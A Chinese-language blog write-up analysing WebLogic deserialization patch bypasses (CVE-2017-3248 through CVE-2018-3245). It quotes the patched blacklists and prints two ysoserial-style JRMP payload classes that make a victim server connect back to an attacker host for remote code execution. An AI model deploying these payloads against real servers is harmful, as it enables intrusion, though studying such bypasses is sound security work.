weblogic之CVE-2017-3248，CVE-2018-2628,CVE-2018-2893，CVE-2018-3245反序列繞過度析

說一下復現CVE-2017-3248能夠參考p牛的環境，p牛的環境CVE-2018-2628實際就是CVE-2017-3248，他漏洞編號這塊寫錯了。
攻擊流程就以下圖，攻擊者開啓JRMPListener監聽在1099端口，等待受害者連接，當受害者連接時，把gadgets返回給客戶端：

CVE-2017-3248之後的漏洞都是利用了JRMP java遠程方法協議，利用java.rmi.registry.Registry，序列化RemoteObjectInvocationHandler，並使用UnicastRef和遠端創建tcp鏈接，獲取RMI registry，最終將加載的內容利用readObject()進行解析，致使以前序列化的惡意代碼執行。

具體利用的時候用ysoserial的payload，用到Proxy代理。

復現2017-3248就看p牛的github，這裏主要復現下CVE-2017-3248繞過。先看一下這漏洞的補丁,通常反序列操做防護resolveProxyClass和resolveClass方法重寫，進行黑名單匹配。這裏也就是咱們重點看的：

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] arr$ = interfaces;
            int len$ = interfaces.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String intf = arr$[i$];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);

補丁只是在resolveProxyClass方法將java.rmi.registry.Registry加入黑名單，沒有將UnicastRef加入黑名單，因此出現如下倆種繞過：一、不使用代理機制就反序列化時就不會進入resolveProxyClass方法
二、找一個java.rmi.activation.Activator來替代java.rmi.registry.Registry生成payload

先看第一種的payload,在ysoserial攻擊修改以下代碼把Proxy去掉，從新打jar包，利用方式和CVE-2017-3248同樣，可以繞過resolveProxyClass執行命令:

在看一下這塊的補丁,在resolveClass時就把UnicastRef類防住了。

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

跟入checkLegacyBlacklistIfNeeded函數

跟到這裏，看到若是反序列化的類是在黑名單中就拋出異常。

第二種繞過方式就是廖新喜的payload,可使用java.rmi.activation.Activator來替代java.rmi.registry.Registry

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

CVE-2018-2893的補丁將RemoteObjectInvocationHandler放入到了黑名單，而CVE-2018-2628的黑名單以下

CVE-2018-2628補丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

CVE-2018-2893的補丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};

執行的這裏會被黑名單攔截。

還有一種繞過方式就是CVE-2018-2893利用WebLogic 內部類 weblogic.jms.common.StreamMessageImpl 可被序列化而且在反序列化時能夠調用RMI的類，能夠繞過WebLogic 的黑名單限制。
payload以下,打好的jar包在這裏：

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {

        public Object streamMessageImpl(byte[] object) {
            StreamMessageImpl streamMessage = new StreamMessageImpl();
            streamMessage.setDataBuffer(object, object.length);
            return streamMessage;
        }

        public Object getObject (final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID objID = new ObjID(new Random().nextInt()); 
            TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
            UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
            RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
            Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
            return streamMessageImpl(Serializer.serialize(object));
        }


        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
            PayloadRunner.run(JRMPClient3.class, args);
        }
    }

resolveClass處理到StreamMessageImpl時，

來到CVE-2016-0638的漏洞觸發點，其中859行加入了過濾代碼。當執行到865行時，跟進

java.rmi.server.RemoteObjectInvocationHandler被加入黑名單

CVE-2018-2893繞過參考https://xz.aliyun.com/t/2479#toc-2主要是繞過黑名單RemoteObjectInvocationHandler類，這個CVE編號就是：

CVE-2018-3245

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最後說下怎麼找到的RMIConnectionImpl_Stub，實際上就是找RemoteObject類的子類。
CTRL+H找到這三個是RemoteObject的子類

RemoteStub找他的子類，最後找到RMIConnectionImpl_Stub類了

查看一下繼承關係，下面這樣的操做主要查找其父類比較方便。


因此 CVE-2018-3245的補丁就是將基類RemoteObject禁掉，而不是禁用其子類
payload參考：https://github.com/pyn3rd/CVE-2018-3245
gadgets經測試用Jdk7u21可以RCE。
我測試沒有打CVE-2018-3245補丁，對RMIConnectionImpl_Stub沒有處理致使繞過

看下完整利用過程：
生產poc

開啓JRMP服務

經過T3協議寫入payload

受害服務器鏈接JRMP服務，攻擊者將Jdk7u21的gadgets發送給受害服務器，致使RCE。

參考連接：
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/